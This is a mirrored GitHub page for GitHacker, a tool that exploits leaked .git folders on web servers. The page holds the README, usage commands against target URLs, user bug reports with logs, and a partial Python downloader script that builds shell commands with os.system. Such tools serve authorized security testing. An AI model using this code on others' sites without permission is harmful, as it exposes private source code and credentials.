GithubHelp home page GithubHelp logo

wangyihang / githacker Goto Github PK

View Code? Open in Web Editor NEW
1.3K 14.0 224.0 1.85 MB

๐Ÿ•ท๏ธ A `.git` folder exploiting tool that is able to restore the entire Git repository, including stash, common branches and common tags.

Python 93.77% Makefile 1.08% Dockerfile 1.62% HTML 3.53%
git web-security githack

githacker's Introduction

GitHacker

PyPI version PyPI download

Desciption

This is a multiple threads tool to exploit the .git folder leakage vulnerability. It is able to download the target .git folder almost completely. This tool also works when the DirectoryListings feature is disabled by brute forcing common .git folder files.

With GitHacker's help, you can view the developer's commit history, branches, ..., stashes, which makes a better understanding of the target repo, even to find security vulnerabilities.

PROCLAMATION (IMPORTANT)

Several VULNERABILITIES have been reported recently, if you are using GitHacker <= 1.1.0, please update your tool as soon as possible.

The remote .git folder maybe malicious, so to prevent you from being attacked. It's highly recommended that you SHOULD run this tool under a disposable jailed environment (eg: Docker container).

Requirments

  • git >= 2.11.0
  • Python 3

Usage in Docker (Recommended)

# print help info
docker run wangyihang/githacker --help
# quick start
docker run -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --output-folder /tmp/githacker/results --url http://127.0.0.1/.git/
# brute for the name of branchs / tags
docker run -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --brute --output-folder /tmp/githacker/results --url http://127.0.0.1/.git/
# exploit multiple websites, one site per line
docker run -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --brute --output-folder /tmp/githacker/results --url-file websites.txt 

Usage

# install
python3 -m pip install -i https://pypi.org/simple/ GitHacker
# print help info
githacker --help
# quick start
githacker --url http://127.0.0.1/.git/ --output-folder result
# brute for the name of branchs / tags
githacker --brute --url http://127.0.0.1/.git/ --output-folder result
# exploit multiple websites, one site per line
githacker --brute --url-file websites.txt --output-folder result

Comparison of other tools

2021-05-25

DirectoryIndex enabled in Web Server

Tools Source Code Reflogs Stashes Commits Branches Remotes Tags
GitTools โœ”๏ธ โœ”๏ธ โŒ โœ”๏ธ โŒ โœ”๏ธ โŒ
dvcs-ripper โœ”๏ธ โœ”๏ธ โŒ โœ”๏ธ โŒ โœ”๏ธ โŒ
GitHack โœ”๏ธ โŒ โŒ โŒ โŒ โŒ โŒ
git-dumper โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ
GitHacker โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ

DirectoryIndex disabled in Web Server

๐Ÿ’ช means brute-forcing.

Tools Source Code Reflogs Stashes Commits Branches Remotes Tags
GitTools โœ”๏ธ โœ”๏ธ โŒ โœ”๏ธ โŒ โœ”๏ธ โŒ
dvcs-ripper โŒ โŒ โŒ โŒ โŒ โŒ โŒ
GitHack โœ”๏ธ โŒ โŒ โŒ โŒ โŒ โŒ
git-dumper โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ โŒ โœ”๏ธ โŒ
GitHacker โœ”๏ธ โœ”๏ธ โœ”๏ธ โœ”๏ธ ๐Ÿ’ช โœ”๏ธ ๐Ÿ’ช

Example

Demo

TODO

  • Download packed files firstly (Unsolvable via StackOverflow)
  • Fix infinit downloading 404 files, #25
  • Fix error when master branch not exists, #18
  • Extract branch names from .git/logs/HEAD, #18
  • Publish Docker image to hub.docker.com
  • Add Dockerfile
  • Fix stash files missing due to the fix of #21, #23, #24 (git clone can't download stash files)
  • Use python f'string in test.py
  • Download tags and branches when Index enabled
  • Try common tags and branches when Index disabled
  • find packed refs

Test

Setup Development Environment

# Install docker and docker-compose
apt install docker-desktop
apt install docker-compose

# Download GitHacker
git clone https://github.com/WangYihang/GitHacker
cd GitHacker
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Run tests

# Generate testing repo
python utils/gen.py

# Run testcases
sudo su
source venv/bin/activate
pip install -r requirements.txt
python utils/test.py
exit

# Diff results
python utils/diff.py

Check report

See test/report/YYYY-MM-DD/index.html

Videos

asciinema

asciicast

YouTube

Security Issues

2021-08-01 Fixed: Malicious .git folder maybe harmful to the user of this tool (Reported by Driver Tom)

2022-03-01 Fixed: Arbitrary file write via recursive file downloader (Reported by Justin Steven)

  • To be released

2022-03-01 Fixed: Remote Code Execution via malicious .git/config and .git/hooks/* files (Reported by Justin Steven)

  • To be released

References

Acknowledgement

Licsence

THE DRINKWARE LICENSE

<[email protected]> wrote this file. As long as 
you retain this :x:tice you can do whatever you want 
with this stuff. If we meet some day, and you think 
this stuff is worth it, you can buy me the following
drink(s) in return.

Red Bull
JDB
Coffee
Sprite
Cola
Harbin Beer
etc

Wang Yihang

githacker's People

Contributors

dependabot[bot] avatar expoli avatar infdahai avatar jeroldcamacho avatar l3s10n avatar wangyihang avatar yctseng1227 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

githacker's Issues

AssertionError: Invalid index file header: b'cons'

When I run the tool via docker command:

docker run --rm -ti \
    -v /tmp/githack/results:/tmp/githacker/results \
    -v /tmp/githack/__init__.py:/usr/local/lib/python3.10/site-packages/GitHacker/__init__.py \ # Custom file, see issue #26 
    wangyihang/githacker \
     --output-folder /tmp/githacker/results --url http://WXYZ.com/.git/config

I get back this error

Traceback (most recent call last):
  File "/usr/local/bin/githacker", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.10/site-packages/GitHacker/__init__.py", line 482, in main
    ).start()
  File "/usr/local/lib/python3.10/site-packages/GitHacker/__init__.py", line 92, in start
    return self.blind()
  File "/usr/local/lib/python3.10/site-packages/GitHacker/__init__.py", line 165, in blind
    tn = self.add_blob_file_tasks()
  File "/usr/local/lib/python3.10/site-packages/GitHacker/__init__.py", line 351, in add_blob_file_tasks
    for _, blob in self.repo.index.iter_blobs():
  File "/usr/local/lib/python3.10/site-packages/git/index/base.py", line 463, in iter_blobs
    for entry in self.entries.values():
  File "/usr/local/lib/python3.10/site-packages/gitdb/util.py", line 253, in __getattr__
    self._set_cache_(attr)
  File "/usr/local/lib/python3.10/site-packages/git/index/base.py", line 143, in _set_cache_
    self._deserialize(stream)
  File "/usr/local/lib/python3.10/site-packages/git/index/base.py", line 171, in _deserialize
    self.version, self.entries, self._extension_data, _conten_sha = read_cache(stream)
  File "/usr/local/lib/python3.10/site-packages/git/index/fun.py", line 226, in read_cache
    version, num_entries = read_header(stream)
  File "/usr/local/lib/python3.10/site-packages/git/index/fun.py", line 192, in read_header
    raise AssertionError("Invalid index file header: %r" % type_id)
AssertionError: Invalid index file header: b'cons'

and no result :(

Cannot see the result

Hi bro,

Attempt 1:

Here is the command that I run

docker run wangyihang/githacker --brute --url https://example.com/.git/ --output-folder result

The tool runs around 10 mins

2024-01-06 22:16:15 INFO 1 urls to be exploited
2024-01-06 22:16:15 INFO Exploiting https://example.com/.git/ into result/2c3addf32fa248db42a1ee6cbb5fc923
/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
2024-01-06 22:16:15 INFO Downloading basic files...
/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
2024-01-06 22:16:16 ERROR FileExistsError(17, 'File exists')
2024-01-06 22:16:16 ERROR [0 bytes] 404 .git/COMMIT_EDITMSG
2024-01-06 22:16:16 INFO [73 bytes] 200 .git/description
2024-01-06 22:16:16 ERROR FileExistsError(17, 'File exists')
2024-01-06 22:16:16 INFO [23 bytes] 200 .git/HEAD
2024-01-06 22:16:16 ERROR FileExistsError(17, 'File exists')
2024-01-06 22:16:16 ERROR [0 bytes] 404 .git/FETCH_HEAD
/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings

And it stops right here

/usr/local/lib/python3.11/site-packages/urllib3/connectionpool.py:1045: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
2024-01-06 22:38:05 ERROR FileExistsError(17, 'File exists')
2024-01-06 22:38:05 ERROR [0 bytes] 404 .git/objects/cc/69db0bd9630502abab59915b137914c04db66b
2024-01-06 22:38:05 ERROR FileExistsError(17, 'File exists')
2024-01-06 22:38:05 ERROR [0 bytes] 404 .git/objects/f2/117923e6f8507f0947fe70a2a81aa5e35bf64a
2024-01-06 22:38:05 INFO Running git fsck files...
Traceback (most recent call last):
  File "/usr/local/bin/githacker", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/usr/local/lib/python3.11/site-packages/GitHacker/__init__.py", line 520, in main
    ).start()
      ^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/GitHacker/__init__.py", line 93, in start
    return self.blind()
           ^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/GitHacker/__init__.py", line 172, in blind
    process = subprocess.run(
              ^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/subprocess.py", line 1024, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/local/lib/python3.11/subprocess.py", line 1901, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'git'
root@1bytedemo:~/Desktop/GitHacker# ls
Dockerfile  figure  GitHacker  Makefile  README.md  requirements.txt  setup.py  templates  test  utils

I did not see the directory result. So what's wrong? I confirmed that site got block access to directory ./git, but allow to download files inside such as .git/config, .git/index, ...etc


Attempt 2:

This time I run at local, I did not run from docker. Here is the command at local

githacker --url https://example.com/.git/ --brute --threads 1 --output-folder /root/Desktop/result

And the tool did work, did bruteforce

2024-01-07 05:59:53 INFO 1 urls to be exploited
2024-01-07 05:59:53 INFO Exploiting https://example.com/.git/ into /root/Desktop/result/2c3addf32fa248db42a1ee6cbb5fc923
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
2024-01-07 05:59:54 INFO Downloading basic files...
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
2024-01-07 05:59:54 ERROR [0 bytes] 404 .git/COMMIT_EDITMSG
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
2024-01-07 05:59:54 ERROR FileExistsError(17, 'File exists')
2024-01-07 05:59:54 INFO [73 bytes] 200 .git/description
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
2024-01-07 05:59:54 ERROR FileExistsError(17, 'File exists')
2024-01-07 05:59:54 ERROR [0 bytes] 404 .git/FETCH_HEAD
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,
2024-01-07 05:59:54 ERROR FileExistsError(17, 'File exists')
2024-01-07 05:59:54 INFO [23 bytes] 200 .git/HEAD
/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:988: InsecureRequestWarning: Unverified HTTPS request is being made to host 'example.com'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning,

And it stops right here

2024-01-07 06:07:37 WARNING .git/objects/8f/3deef92bbb1d69cea0668e27392ff187210267 does not exist
2024-01-07 06:07:37 WARNING .git/objects/3d/3ae5d49a12dd4a6eb718adb0d4b7d39d3864f1 does not exist
2024-01-07 06:07:37 WARNING .git/objects/c1/5faa5eeecd2922ba2d03ae67aa913b2f300f99 does not exist
2024-01-07 06:07:37 WARNING .git/objects/c7/2e9015ccb53c4947da4b641da2beae894bd3cf does not exist
2024-01-07 06:07:37 WARNING .git/objects/c8/29c1fc0954f2656bf7710a28bede56e8a1f0dc does not exist
2024-01-07 06:07:37 WARNING .git/objects/47/723dc9144cfec31c03717f961926cbf8d10c0d does not exist
2024-01-07 06:07:37 WARNING .git/objects/3d/3b64a5a9b7f99823c7aa50925befa3f62589a8 does not exist
2024-01-07 06:07:37 WARNING .git/objects/2b/74668b32aa5349ed4fcb0b6d678e32f9cd5098 does not exist
2024-01-07 06:07:37 WARNING .git/objects/f6/492632825b6a96aabf4569d951665f3c154ecc does not exist
2024-01-07 06:07:37 WARNING .git/objects/a3/dd1c123791905de8c64ae6d1e845abc126d9e1 does not exist
2024-01-07 06:07:37 WARNING .git/objects/db/9f1a4438b9b73687d554c38b582c4c58053baf does not exist
2024-01-07 06:07:37 WARNING .git/objects/25/ad2609a207ca211ef774d5fba0aa1f5aa2981a does not exist
2024-01-07 06:07:37 WARNING .git/objects/46/05ec9dbc49fbfb1da639f1b0df318b9431be5a does not exist
2024-01-07 06:07:37 WARNING .git/objects/86/5daab6aa70d1f594f4de1eea7fb1d4df14c2ed does not exist
2024-01-07 06:07:37 WARNING .git/objects/38/8f6f03f385c221cc298b66e950d6a00c1d7b54 does not exist
2024-01-07 06:07:37 WARNING .git/objects/2f/a25b968e0f299c755b71401c8c51080f297793 does not exist
2024-01-07 06:07:37 WARNING .git/objects/41/66406dc41aed8f3d4444cf1a6979c7ebc2306f does not exist
2024-01-07 06:07:37 WARNING .git/objects/c4/69cd57ff9630907ef3c461652eff78d3ddee74 does not exist
2024-01-07 06:07:37 INFO Cloning downloaded repo from /tmp/tmpdvdjwn96 to /root/Desktop/result/2c3addf32fa248db42a1ee6cbb5fc923
2024-01-07 06:07:37 ERROR Cloning into '/root/Desktop/result/2c3addf32fa248db42a1ee6cbb5fc923'...
error: refs/heads/master does not point to a valid object!                                                                                                                                                                                  
error: refs/remotes/origin/HEAD does not point to a valid object!                                                                                                                                                                           
error: refs/remotes/origin/dev-michael does not point to a valid object!                                                                                                                                                                    
error: refs/remotes/origin/master does not point to a valid object!                                                                                                                                                                         
error: refs/remotes/origin/staging does not point to a valid object!                                                                                                                                                                        
done.                                                                                                                                                                                                                                       
fatal: update_ref failed for ref 'HEAD': cannot update ref 'HEAD': trying to write ref 'HEAD' with nonexistent object 180b519b5599fdbfd3f00cf608130d71540eb506                                                                              
fatal: The remote end hung up unexpectedly                                                                                                                                                                                                  
2024-01-07 06:07:37 INFO 0 / 1 were exploited successfully

This time it has the output result directory. But when I check the contents inside the output, it does not show the file in the servers

root@1bytedemo:~/Desktop/result# tree -a
.
โ””โ”€โ”€ 2c3addf32fa248db42a1ee6cbb5fc923
    โ””โ”€โ”€ .git
        โ””โ”€โ”€ logs
            โ”œโ”€โ”€ HEAD
            โ””โ”€โ”€ refs
                โ”œโ”€โ”€ heads
                โ”‚ย ย  โ””โ”€โ”€ master
                โ””โ”€โ”€ remotes
                    โ””โ”€โ”€ origin
                        โ””โ”€โ”€ HEAD

7 directories, 3 files
root@1bytedemo:~/Desktop/result#

Does not have config, index, ...etc which can download directly on website

While I test other tools like git-dumper, githack it can shows...

Regards!

git log not compelete in master branch

hello,when I use GitHacker in tagv1.0.2 I can get full commit log
image

but when I use GitHacker in master branch (2022.5.24) to exploit .git ,I can't get complete log
image

master branch of GitHacker's log is below ,how can i get full commit log in master branch
image

Why does not work?

Hello.

root@debian:~# githacker --url https://www.target.com/.git/ --output-folder /home/test/
2022-10-13 20:50:21 INFO 1 urls to be exploited
2022-10-13 20:50:21 INFO Exploiting https://www.target.com/.git/ into /home/test/2885f055223ecdcc046def4094a3c5c6
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:849: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
InsecureRequestWarning)
Traceback (most recent call last):
File "/usr/local/bin/githacker", line 10, in
sys.exit(main())
File "/usr/local/lib/python3.7/dist-packages/GitHacker/init.py", line 481, in main
delay=args.delay,
File "/usr/local/lib/python3.7/dist-packages/GitHacker/init.py", line 77, in init
self.complete_basic_files_list()
File "/usr/local/lib/python3.7/dist-packages/GitHacker/init.py", line 322, in complete_basic_files_list
branch_names += self.parse_current_branch_name()
File "/usr/local/lib/python3.7/dist-packages/GitHacker/init.py", line 284, in parse_current_branch_name
assert len(branch_names) == 1
AssertionError

Disable SSLCertVerification?

I get an SSLError ("hostname '' doen't match '<FQDN') when connecting to repository.
I'm aware that the certificate is wrong, but unfortunately I cannot connect via FQDN.

Is there a switch to disable the certificate verification in GitHacker?

ๅฆ‚ไฝ•ๅœจ docker ไธญๆ‰พๅ›ž่ฟ›็จ‹

ๆ‚จๅฅฝ๏ผŒๆˆ‘็”จdocker ่ฟ่กŒ githacker๏ผŒgithacker ไธ€่ˆฌ่ฆ่ฟ่กŒๅพˆไน…ใ€‚ๆˆ‘้€€ๅ‡บๅฎนๅ™จ ๆˆ–่€… ้€€ๅ‡บ ไธปๆœบssh๏ผŒๆˆ‘ๅ†ๆฌก่ฟ›ๅ…ฅๅฎนๅ™จๆ—ถ๏ผŒๆ€Žไนˆๆ‰พๅ›žgithacker็š„่ฟ›็จ‹๏ผŒๆŸฅ็œ‹ไป–็š„่ฟ่กŒๆƒ…ๅ†ตใ€‚

docker attach

ctrl+p+q

fatal: Not a git repository (or any of the parent directories): .git

fatal: Not a git repository (or any of the parent directories): .git
fatal: Not a git repository (or any of the parent directories): .git
Traceback (most recent call last):
File "GitHacker.py", line 187, in
main()
File "GitHacker.py", line 159, in main
master = open("./%s/.git/logs/refs/heads/master" % temppath, "r")
IOError: [Errno 2] No such file or directory: './www_xx_com_/.git/logs/refs/heads/master'

Support git pack file

โžœ  .git git:(master) tree
.
โ”œโ”€โ”€ branches
โ”œโ”€โ”€ config
โ”œโ”€โ”€ description
โ”œโ”€โ”€ HEAD
โ”œโ”€โ”€ hooks
โ”‚ย ย  โ”œโ”€โ”€ applypatch-msg.sample
โ”‚ย ย  โ”œโ”€โ”€ commit-msg.sample
โ”‚ย ย  โ”œโ”€โ”€ fsmonitor-watchman.sample
โ”‚ย ย  โ”œโ”€โ”€ post-update.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-applypatch.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-commit.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-merge-commit.sample
โ”‚ย ย  โ”œโ”€โ”€ prepare-commit-msg.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-push.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-rebase.sample
โ”‚ย ย  โ”œโ”€โ”€ pre-receive.sample
โ”‚ย ย  โ””โ”€โ”€ update.sample
โ”œโ”€โ”€ index
โ”œโ”€โ”€ info
โ”‚ย ย  โ””โ”€โ”€ exclude
โ”œโ”€โ”€ logs
โ”‚ย ย  โ”œโ”€โ”€ HEAD
โ”‚ย ย  โ””โ”€โ”€ refs
โ”‚ย ย      โ”œโ”€โ”€ heads
โ”‚ย ย      โ”‚ย ย  โ””โ”€โ”€ master
โ”‚ย ย      โ””โ”€โ”€ remotes
โ”‚ย ย          โ””โ”€โ”€ origin
โ”‚ย ย              โ””โ”€โ”€ HEAD
โ”œโ”€โ”€ objects
โ”‚ย ย  โ”œโ”€โ”€ info
โ”‚ย ย  โ””โ”€โ”€ pack
โ”‚ย ย      โ”œโ”€โ”€ pack-4bd885d58c78db80f6d2225354d36ebcf1e8de49.idx
โ”‚ย ย      โ””โ”€โ”€ pack-4bd885d58c78db80f6d2225354d36ebcf1e8de49.pack
โ”œโ”€โ”€ packed-refs
โ””โ”€โ”€ refs
    โ”œโ”€โ”€ heads
    โ”‚ย ย  โ””โ”€โ”€ master
    โ”œโ”€โ”€ remotes
    โ”‚ย ย  โ””โ”€โ”€ origin
    โ”‚ย ย      โ””โ”€โ”€ HEAD
    โ””โ”€โ”€ tags

16 directories, 25 files

Repo like this will fall back to infinite loop.

Infinit downloading 404 files (Deny of Service)

Steps to reproduce

Setup malicious git repo

$ mkdir repo
$ cd repo
$ git init
$ echo 'master' > README.md
$ git add --all
$ git commit -m "init commit in master branch"
$ git checkout -b private_branch
$ echo 'private_branch' >> README.md
$ git add --all
$ git commit -m "second commit in private branch"
$ git status
On branch private_branch
nothing to commit, working tree clean
$ rm -rf .git/objects/d3/d1132f3368aa351b59e497ebad482d03341773
$ git show d3d1132f3368aa351b59e497ebad482d03341773 
fatal: bad object d3d1132f3368aa351b59e497ebad482d03341773
$ python3 -m http.server

Start exploitation

$ githacker --url "http://127.0.0.1:8000/" --output-folder v1.1.4

Expected Behavior

Stop continuously downloading 404 files.

Current Behavior

Infinite loop.

$ githacker --url "http://127.0.0.1:8000/" --output-folder v1.1.4
2022-07-27 21:43:21 INFO 1 urls to be exploited
2022-07-27 21:43:21 INFO Exploiting http://127.0.0.1:8000/ into v1.1.4/17abf5259517d604cc9599a00b7385d6
2022-07-27 21:43:21 INFO Downloading basic files...
2022-07-27 21:43:21 ERROR [469 bytes] 404 .git/FETCH_HEAD
2022-07-27 21:43:21 INFO [73 bytes] 200 .git/description
...
2022-07-27 21:43:21 ERROR [-1 bytes] -1 .git/hooks/prepare-commit-msg
2022-07-27 21:43:21 ERROR /tmp/tmpm5qp3g6b/.git/hooks/update is potential dangerous, skip downloading this file
2022-07-27 21:43:21 ERROR [-1 bytes] -1 .git/hooks/update
2022-07-27 21:43:21 INFO Downloading head files...
2022-07-27 21:43:21 INFO Downloading blob files...
2022-07-27 21:43:21 INFO [38 bytes] 200 .git/objects/8e/1b5f2d0aea862edc1e90a71100cc9ce8ce07f3
2022-07-27 21:43:21 INFO Running git fsck files...
2022-07-27 21:43:21 ERROR [469 bytes] 404 .git/objects/d3/d1132f3368aa351b59e497ebad482d03341773
2022-07-27 21:43:21 ERROR [469 bytes] 404 .git/objects/d3/d1132f3368aa351b59e497ebad482d03341773
...
2022-07-27 21:43:22 ERROR [469 bytes] 404 .git/objects/d3/d1132f3368aa351b59e497ebad482d03341773
2022-07-27 21:43:22 ERROR [469 bytes] 404 .git/objects/d3/d1132f3368aa351b59e497ebad482d03341773
^CTraceback (most recent call last):
  File "/home/ubuntu/.local/bin/githacker", line 8, in <module>
    sys.exit(main())
  File "/home/ubuntu/.local/lib/python3.10/site-packages/GitHacker/__init__.py", line 433, in main
    ).start()
  File "/home/ubuntu/.local/lib/python3.10/site-packages/GitHacker/__init__.py", line 92, in start
    return self.blind()
  File "/home/ubuntu/.local/lib/python3.10/site-packages/GitHacker/__init__.py", line 171, in blind
    process = subprocess.run(
  File "/usr/lib/python3.10/subprocess.py", line 503, in run
    stdout, stderr = process.communicate(input, timeout=timeout)
  File "/usr/lib/python3.10/subprocess.py", line 1149, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.10/subprocess.py", line 2000, in _communicate
    ready = selector.select(timeout)
  File "/usr/lib/python3.10/selectors.py", line 416, in select
    fd_event_list = self._selector.poll(timeout)
KeyboardInterrupt

Version

$ githacker --version
v1.1.4

use python3 version

just update some invoke.

#!/usr/bin/env python3
# encoding:utf-8

import os
import threading
import requests
import string
import random
import sys
import re

log = []

threadNumber = 50

def random_string(length):
    return "".join([random.choice(string.ascii_letters) for i in range(length)])

def dirlist(path, allfile):
    filelist = os.listdir(path)
    for filename in filelist:
        filepath = os.path.join(path, filename)
        if os.path.isdir(filepath):
            dirlist(filepath, allfile)
        else:
            allfile.append(filepath)
    return allfile


def downloadFile(url, path):
    if url in log:
        print("[-] Downloaded!")
    else:
        log.append(url)
    index = path[::-1].find("/")
    folder = path[0:-index]
    try:
        print("[+] Make dir : %s" % (folder))
        os.makedirs(folder)
    except:
        print("[-] Folder already existed!")
    print("[!] Getting -> %s" % (url))
    response = requests.get(url)
    if response.status_code == 200:
        with open(path, "wb") as f:
            f.write(response.content)
            print("[+] Success!")
    else:
        print("[-] [%d]" % (response.status_code))


class myThread (threading.Thread):
    def __init__(self, imgSrc, directoryName):
        threading.Thread.__init__(self)
        self.imgSrc = imgSrc
        self.directoryName = directoryName

    def run(self):
        downloadFile(self.imgSrc, self.directoryName)


def get_sha1(content):
    result = re.findall(r"([a-fA-F0-9]{40})", content)
    return result


def fixmissing(baseurl, temppath):
    # get missing files
    os.system("cd ./%s ; git fsck > ../cache.dat 2>&1" % temppath)
    missing = []
    with open("./cache.dat", "r") as f:
        missing += get_sha1(f.read())

    length = len(missing)
    # clean cache file
    os.system("rm ./cache.dat")
    threads = []
    # download missing files
    for i in missing:
        path = "./%s/.git/objects/%s/%s" % (temppath, i[0:2], i[2:])
        url = "%sobjects/%s/%s" % (baseurl, i[0:2], i[2:])
        # downloadFile(url, path)
        tt = myThread(url, path)
        threads.append(tt)

    for t in threads:
        t.start()
        while True:
            if(len(threading.enumerate()) < threadNumber):
                break

    if length > 1:
        fixmissing(baseurl, temppath)
    else:
        return


def complete_url(baseurl):
    if (not baseurl.startswith("http://")) and (not baseurl.startswith("https://")):
        baseurl = "http://" + baseurl
    if baseurl.endswith("/"):
        return baseurl
    else:
        return baseurl + "/"


def get_prefix(baseurl):
    prefix = ""
    if baseurl.startswith("http://"):
        prefix = baseurl[len("http://"):-len(".git/")]
    if baseurl.startswith("https://"):
        prefix = baseurl[(len("https://")):(-len(".git/"))]
    return prefix


def repalce_bad_chars(path):
    path = path.replace("/", "_")
    path = path.replace("\\", "_")
    path = path.replace(".", "_")
    path = path.replace("'", "_")
    path = path.replace("\"", "_")
    return path

def handle_git_stash():
    filename = random_string(0x20)
    os.system("touch %s" % filename)	
    os.system("git add %s" % filename)
    os.system("git stash")	
    os.system("rm -rf %s" % filename)

def main():
    if len(sys.argv) != 2:
        print("Usage : ")
        print("        python GitHacker.py [Website]")
        print("Example : ")
        print("        python Githack.py http://127.0.0.1/.git/")
        print("Author : ")
        print("        wangyihang <[email protected]>")
        exit(1)

    # Handle git stash
    handle_git_stash()

    files = dirlist("./", [])
    baseurl = sys.argv[1]
    baseurl = complete_url(baseurl)
    temppath = repalce_bad_chars(get_prefix(baseurl))

    # download base files
    for i in files:
        if i.startswith("./.git"):
            if i[len("./.git/"):len("./.git/objects")] == "objects":
                continue
            path = "./%s/%s" % (temppath, i[len("./"):])
            url = baseurl + i[len("./.git/"):]
            downloadFile(url, path)

    # download baseobject files
    master = open("./%s/.git/logs/refs/heads/master" % temppath, "r")
    print("[!] Downloading object files")
    for line in master:
